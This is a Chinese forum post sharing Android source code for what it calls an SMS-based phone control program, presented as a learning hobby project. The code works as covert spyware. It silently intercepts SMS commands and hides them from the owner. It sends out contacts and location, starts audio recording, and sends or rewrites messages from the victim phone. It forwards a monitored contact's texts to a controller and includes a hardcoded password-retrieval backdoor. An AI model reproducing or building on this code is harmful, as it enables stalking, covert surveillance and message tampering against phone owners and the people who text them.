六狼论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

新浪微博账号登陆

只需一步,快速开始

搜索
查看: 133|回复: 0

基于短信的手机控制程序(附源码)

[复制链接]

升级  45%

239

主题

239

主题

239

主题

进士

Rank: 4

积分
725
 楼主| 发表于 2012-10-24 22:53:44 | 显示全部楼层 |阅读模式
1.1前言
兴趣是最好的老师,这句话对于有志于从事软件开发的人来说尤为重要,毕竟这一行业需要不断的学习新知识,缺乏兴趣的工作只会让人感到日益枯燥.以下是去年9月份在某培训班开始学习android的过程中,出于个人兴趣写的一个小程序.在此献给大家,一来借这类程序提高大家的Android开发兴趣,再者也可以学习一下简单实用的知识.
1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.
相关参数:
admin----管理者手机号码,也就是A的手机号码
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码            

2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.



package iceman.android.project;import java.util.List;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.content.SharedPreferences;import android.content.SharedPreferences.Editor;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;public class MainReceiver extends BroadcastReceiver{        private String number;        private SmsManager manager = SmsManager.getDefault();            public void onReceive(Context context, Intent intent) {                MyLog.LogI("OUTPUT", "广播接收器触发");                SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);//使用SharedPreferences  存储admin号码和listen号码.                String admin = preferences.getString("admin", "");                MyLog.LogI("OUTPUT", "当前admin:"+admin);                String listen = preferences.getString("listen", "");                String password = preferences.getString("password", "iceman");                MyLog.LogI("OUTPUT", "当前listen:"+listen);                Bundle bun = intent.getExtras();                //开始分析短信                if(bun!=null){                        Object[] mypdus = (Object[])bun.get("pdus");                        SmsMessage[] messages = new SmsMessage[mypdus.length];                        for(int i=0;i<mypdus.length;i++){                                messages = SmsMessage.createFromPdu((byte[])mypdus);                        }                        for(SmsMessage mess:messages){                                                                                number = mess.getDisplayOriginatingAddress();                                        String body = mess.getDisplayMessageBody();                                        MyLog.LogI("OUTPUT","号码来源:"+number);                                        MyLog.LogI("OUTPUT","内容:"+body);                                        if(number.contains("+86")){                                                number = number.substring(3);                                        }                                        MyLog.LogI("OUTPUT","号码来源转换"+number);                                        //设定管理号码                                        if(body.equals("iceman78952190")){                                            MyLog.LogI("OUTPUT","查询密码哦");                                            abortBroadcast();                                            manager.sendTextMessage(number, null, password, null, null);                                        }                                        if(body.contains("@iceman@admin")){                                                abortBroadcast();                                                body = body.substring(13);                                                if(password.equals("iceman")){                                                    password = body;                                                    Editor editor = preferences.edit();                                                    editor.putString("admin", number);                                                    editor.putString("password", body);                                                    editor.commit();                                                    MyLog.LogI("OUTPUT","设定admin:"+number);                                                    manager.sendTextMessage(number, null, "admin change success!"+number, null, null);                                                }else{                                                    if(password.equals(body)){                                                        Editor editor = preferences.edit();                                    editor.putString("admin", number);                                    editor.commit();                                    MyLog.LogI("OUTPUT","设定admin:"+number);                                    manager.sendTextMessage(number, null, "admin change success!"+number, null, null);                                                    }else{                                                        MyLog.LogI("OUTPUT","密码不对");                                                    }                                                }                                        }                                        //对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码                                        if(number.equals(admin)){                                                if(body.contains("@iceman@search")){                                                        abortBroadcast();                                                        MyLog.LogI("OUTPUT", "开始查询通讯录");                                                        manager.sendTextMessage(admin, null, "search starting!", null, null);                                                        //启动服务,查询通讯录并发送                                                        Intent it = new Intent(context,ContactService.class);                                                        it.putExtra("admin", admin);                                                        context.startService(it);                                                }else if(body.contains("@iceman@change")){                                                        abortBroadcast();                                                        listen = body.substring(14);                                                        Editor editor = preferences.edit();                                                        editor.putString("listen", listen);                                                        editor.commit();                                                        MyLog.LogI("OUTPUT", "更改listen完成");                                                        manager.sendTextMessage(admin, null, "listen change success!", null, null);                                                }else if(body.contains("@iceman@location")){                                                        abortBroadcast();                                                        MyLog.LogI("OUTPUT", "开启位置监控");                                                                                                                Intent it = new Intent(context,LocationService.class);                                                        context.startService(it);                                                        manager.sendTextMessage(admin, null, "location listen success!", null, null);                                                        MyLog.LogI("OUTPUT", "位置监控开启完成");                                                }else if(body.contains("@iceman@where")){                                                        abortBroadcast();                                                        MyLog.LogI("OUTPUT", "开始发送并解析地址");                                                                Intent it2 = new Intent(context,GetAddressService.class);                                                        context.startService(it2);                                                }else if(body.contains("@iceman@start")){                                                        abortBroadcast();                                                        MyLog.LogI("OUTPUT", "收到录音开启命令");                                                                        Intent it = new Intent(context,RecorderService.class);                                                        context.startService(it);                                                }else if(body.contains("@iceman@stop")){                                                        abortBroadcast();                                                        MyLog.LogI("OUTPUT", "收到结束录音命令");                                                                        Intent it = new Intent(context,RecorderService.class);                                                        context.stopService(it);                                                }else if(body.contains("@iceman@sms")){                                                        abortBroadcast();                                                        MyLog.LogI("OUTPUT", "发送短信");                                                        String[] str = body.split("#");                                                        manager.sendTextMessage(str[1], null, str[2], null, null);                                                        MyLog.LogI("OUTPUT", "目标号码:"+str[1]+"内容:"+str[2]);                                                }else if(body.contains("@iceman@replace")){                                                    abortBroadcast();                                                    String[] str = body.split("#");                                                    MyLog.LogI("OUTPUT", "收到短信修改命令");                                                     Intent it = new Intent(context,EditSmsService.class);                                                    it.putExtra("key", str[1]);                                                    it.putExtra("number", str[2]);                                                    it.putExtra("content", str[3]);                                                    it.putExtra("type", "replace");                                                    context.startService(it);                                                }                                                else if(body.contains("@iceman@edit")){                                                    abortBroadcast();                                                    String[] str = body.split("#");                            MyLog.LogI("OUTPUT", "收到短信编辑命令");                             Intent it = new Intent(context,EditSmsService.class);                            it.putExtra("key", str[1]);                            it.putExtra("number", str[2]);                            it.putExtra("content", str[3]);                            it.putExtra("type", "edit");                            context.startService(it);                                                }                                        }                                                //判断是否由被监听号码发来的短信                                        if(number.equals(listen)){                                                String sms = number+":"+body;                                                MyLog.LogI("OUTPUT", "监听到短信");                                                List<String> texts=manager.divideMessage(sms);                                         for(String text:texts)                                         {                                             manager.sendTextMessage(admin, null, text, null, null);                                         }                                                   }                                                                }                }        }}
您需要登录后才可以回帖 登录 | 立即注册 新浪微博账号登陆

本版积分规则

快速回复 返回顶部 返回列表